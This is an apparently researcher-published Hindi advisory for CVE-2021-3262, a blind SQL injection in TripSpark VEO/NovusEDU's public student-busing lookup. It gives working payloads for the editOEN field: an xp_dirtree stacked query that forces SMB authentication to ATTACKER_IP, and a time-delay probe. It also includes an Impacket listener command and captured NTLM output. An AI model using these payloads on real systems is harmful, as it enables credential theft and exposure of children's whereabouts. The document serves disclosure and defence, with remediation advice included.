
CVE-2021-3262 - TripSpark VEO Transportation / NovusEDU के editOEN पैरामीटर में ब्लाइंड SQL इंजेक्शन। बिना प्रमाणीकरण के, इंटरनेट पर उपलब्ध। पेलोड, एनोटेटेड अनुरोध और साक्ष्य।
TripSpark VEO Transportation / NovusEDU में SQL इंजेक्शन
TripSpark VEO Transportation के साथ शामिल सार्वजनिक "Student Busing Information" लुकअप पृष्ठ बिना प्रमाणीकरण के POST बॉडी इनपुट लेता है और उसे बिना पैरामीटराइज़ेशन या सर्वर-साइड सत्यापन के SQL सर्वर क्वेरी में जोड़ देता है। editOEN पैरामीटर (छात्र संख्या फ़ील्ड) इंजेक्टेबल है।
इंजेक्शन ब्लाइंड है: एप्लिकेशन कोई डेटाबेस त्रुटि या पढ़ने लायक कोई विभेदक सामग्री नहीं लौटाता। यह फिर भी आउट-ऑफ-बैंड पूरी तरह से शोषण योग्य है, क्योंकि डेटाबेस कनेक्शन master.dbo.xp_dirtree तक पहुँच सकता है, जो SQL सर्वर सेवा खाते को हमलावर द्वारा प्रदान किए गए UNC पथ पर SMB के माध्यम से आउटबाउंड प्रमाणीकरण करने के लिए बाध्य करता है।
बाहरी पैठ परीक्षण के दौरान पाया गया। मूल अभियान पर कैप्चर किया गया सेवा खाता क्रेडेंशियल वह प्रवेश बिंदु था जिसके कारण ग्राहक के Active Directory डोमेन और फ़ॉरेस्ट से पूरी तरह समझौता हुआ।
CVE-2021-3262 के रूप में प्रकाशित। Show Up Show Out Security के Sedric Louissaint द्वारा खोजा और रिपोर्ट किया गया।
| CVE | CVE-2021-3262 |
| उत्पाद | TripSpark VEO Transportation / NovusEDU |
| प्रभावित | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| कमज़ोरी | CWE-89: SQL इंजेक्शन |
| CVSS 3.1 (NVD) | 9.8 क्रिटिकल CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (शोधकर्ता) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| प्रकाशित | 2023-08-29 |
| परीक्षण किया गया | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| प्रमाणीकरण आवश्यक | कोई नहीं। लुकअप पृष्ठ डिज़ाइन से ही इंटरनेट-फेसिंग है। |
NVD विवरण:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 सर्वर-साइड लॉजिक का उपयोग करके सैनिटाइज़ किए बिना अंतिम उपयोगकर्ताओं से POST बॉडी पैरामीटर में असुरक्षित डेटा इनपुट की अनुमति देता है। "Student Busing Information" खोज क्वेरी में कस्टम SQL कमांड इंजेक्ट करना संभव था।
जिले "Student Busing Information" पृष्ठ को अपनी सार्वजनिक वेबसाइट पर तैनात करते हैं ताकि माता-पिता किसी छात्र के बस असाइनमेंट को देख सकें। यह पृष्ठ छात्र का N नंबर और जन्मतिथि माँगता है, और यह जानबूझकर बिना प्रमाणीकरण के है।

N नंबर फ़ील्ड editOEN के रूप में पोस्ट होता है। जन्मतिथि cboxMonth, cboxDay और cboxYear के रूप में पोस्ट होती है। editOEN इंजेक्टेबल पैरामीटर है।
इस युग के कई ASP.NET अनुप्रयोगों के विपरीत, यह पृष्ठ डेटाबेस त्रुटियों को प्रतिध्वनित नहीं करता। एक सुव्यवस्थित क्वेरी और एक टूटी हुई क्वेरी के बीच कोई दृश्य अंतर नहीं है, इसलिए इन-बैंड तकनीकें एक मृत अंत हैं।
स्टैक्ड क्वेरी निष्पादित होती हैं, जो कि आवश्यक है।
master.dbo.xp_dirtree एक निर्देशिका की गणना करता है। UNC पथ दिए जाने पर, SQL सर्वर इसे पढ़ने से पहले SMB पर लक्ष्य होस्ट से प्रमाणीकरण करता है। इसे एक लिसनर की ओर इंगित करने से एक मूक इंजेक्शन दृश्यमान हो जाता है:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

अनुरोध एक सामान्य ASP.NET WebForms POST है, लगभग 4,700 बाइट्स, जिसमें से अधिकांश __VIEWSTATE है। पूरा अनुरोध poc/exploited-request.http में, पेलोड poc/payloads.sql में।

Impacket के smbserver.py के साथ सार्वजनिक इंटरनेट पर एक होस्ट पर लिसनिंग करते हुए, जिले के नेटवर्क के अंदर डेटाबेस सर्वर आउटबाउंड प्रमाणीकरण करता है:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

दो चीज़ों का स्पष्ट रूप से उल्लेख करना उचित है। पहला, यह एक बिना प्रमाणीकरण वाला इंटरनेट-फेसिंग फ़ॉर्म है जो उत्पादन डेटाबेस तक पहुँच रहा है। दूसरा, उस डेटाबेस सर्वर को मनमाने इंटरनेट होस्ट से आउटबाउंड SMB कनेक्शन स्थापित करने की अनुमति थी, जिसने ब्लाइंड इंजेक्शन को अवलोकन योग्य बनाया।
इंजेक्शन के अलावा, SQL सर्वर सेवा खाते के लिए कैप्चर किया गया NTLMv2 क्रेडेंशियल मूल अभियान पर प्रारंभिक प्रवेश बिंदु था। वहाँ से मूल्यांकन ग्राहक के Active Directory डोमेन और फ़ॉरेस्ट से पूर्ण समझौते तक बढ़ गया।
जोखिम में डेटा छात्र परिवहन रिकॉर्ड है: नाम, घर के पते, निर्धारित बस, निर्धारित स्टॉप, पिकअप समय, और विशेष शिक्षा रूटिंग। यह एक अनुसूची है कि पहचान योग्य बच्चे ज्ञात समय पर शारीरिक रूप से कहाँ होंगे।
एक प्रयोगशाला उदाहरण के विरुद्ध जिसके स्वामी आप हैं या जिसे परीक्षण करने के लिए आप अधिकृत हैं:
sudo smbserver.py c . -smb2support
poc/payloads.sql से xp_dirtree पेलोड के साथ सबमिट करें, अपना स्वयं का IP प्रतिस्थापित करें। यदि फ़ील्ड में क्लाइंट-साइड लंबाई सीमा है तो ब्राउज़र में टाइप करने के बजाय POST को कैप्चर और रीप्ले करें, क्योंकि वह सीमा सर्वर साइड पर मौजूद नहीं है।123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
कैप्चर में क्लाइंट पहचानकर्ता रिडैक्ट किए गए हैं। लिसनर पते मूल अभियान के हैं और बहुत पहले मृत हो चुके हैं। पुनरुत्पादन करते समय अपने स्वयं के पते प्रतिस्थापित करें।
editOEN को एक पैरामीटर के रूप में बाँधें और पेलोड उसमें जो कुछ भी हो, एक निष्क्रिय स्ट्रिंग बन जाएगा।xp_dirtree और अन्य विस्तारित संग्रहीत प्रक्रियाओं तक पहुँच रद्द करें।| दिनांक | घटना |
|---|---|
| 2021 | बाहरी पैठ परीक्षण के दौरान पाया गया और TripSpark को रिपोर्ट किया गया |
| 2023-08-29 | CVE-2021-3262 NVD पर प्रकाशित, 9.8 क्रिटिकल स्कोर |
प्रकटीकरण के बाद, रक्षात्मक और शैक्षिक उपयोग के लिए प्रकाशित। इन पेलोड को उन प्रणालियों के विरुद्ध न चलाएँ जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित प्राधिकरण नहीं है। यदि आप एक जिला तैनाती का प्रशासन करते हैं, तो यहाँ उपयोगी कार्रवाई यह है कि आप अपने विक्रेता से लिखित रूप में पूछें कि क्या आपके सार्वजनिक फ़ॉर्म के पीछे की क्वेरी पैरामीटराइज़्ड हैं।